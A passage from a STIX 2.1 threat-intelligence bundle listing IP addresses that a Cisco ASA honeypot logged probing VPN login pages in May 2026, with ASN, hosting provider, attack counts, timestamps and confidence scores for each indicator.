      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-04T11:36:26.815Z",
          "last_seen": "2026-05-29T21:31:06.340Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--ef3f819b-0445-442f-8d01-aceaefa10540",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T12:15:38.590Z",
          "last_seen": "2026-05-30T04:51:02.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--53c13ddc-3176-428f-9f06-4b0917280436",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T12:55:44.416Z",
          "last_seen": "2026-05-30T02:08:36.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0f88e60b-c7c8-479a-aca2-c8b2558e49fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T12:48:59.328Z",
          "last_seen": "2026-05-07T12:21:24.544Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6df0686d-b34f-402d-8e49-f9519bf12c56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T12:30:46.351Z",
          "last_seen": "2026-05-04T12:30:55.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d307ac08-9138-4a09-86e3-550ff044c26a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T12:48:04.304Z",
          "last_seen": "2026-05-22T19:03:12.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5fee7233-32e1-438f-a899-d1359db062bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T13:18:58.745Z",
          "last_seen": "2026-05-31T01:15:32.175Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e895b60-4de3-47af-b1d7-0ed849d426f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:20:10.000Z",
      "valid_until": "2026-06-05T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T13:02:58.765Z",
          "last_seen": "2026-05-31T00:58:26.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--1f5b6cdb-3e08-42e0-9bc9-941a87a70587",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T14:08:41.196Z",
          "last_seen": "2026-05-05T19:55:44.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2c3126e-3199-4488-80bc-eee6002200d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T13:52:42.725Z",
          "last_seen": "2026-05-29T11:58:54.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--68bc60ba-412f-4a25-89a0-99bb2619a727",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T15:51:20.830Z",
          "last_seen": "2026-05-31T01:47:55.442Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--17d6be84-1611-41ed-ae22-da34bb8a3f61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 25,
          "first_seen": "2026-05-04T13:34:44.061Z",
          "last_seen": "2026-05-30T15:40:17.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a2cef74a-840d-4026-8795-f68325d7cacb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-04T14:13:38.132Z",
          "last_seen": "2026-05-29T12:04:18.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d57a9332-8344-4a50-b00a-c6ff522694d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T14:00:54.273Z",
          "last_seen": "2026-05-07T06:15:50.047Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4d5d3cc0-6eb5-4f2f-8bfc-48ad3b623a37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 66,
          "first_seen": "2026-05-03T15:53:04.473Z",
          "last_seen": "2026-05-30T08:17:50.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T13:37:48.472Z",
          "last_seen": "2026-05-04T13:37:51.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--69c63963-c557-4802-bd79-438a1123c3ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:20:13.000Z",
      "valid_until": "2026-06-05T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T13:50:29.317Z",
          "last_seen": "2026-05-27T22:32:11.729Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8ee6500a-7351-4a6f-b14e-7294afa09d53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T14:23:21.148Z",
          "last_seen": "2026-05-29T19:29:59.141Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--21cc1de2-1aeb-4fb0-9766-b59c8b68de26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T14:41:46.793Z",
          "last_seen": "2026-05-25T22:48:46.281Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--02220bba-5cc9-469e-b9ca-ed2fd956c4a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T14:37:08.131Z",
          "last_seen": "2026-05-04T14:37:17.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--ac1734ef-fb46-451f-837f-0ab204b75385",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
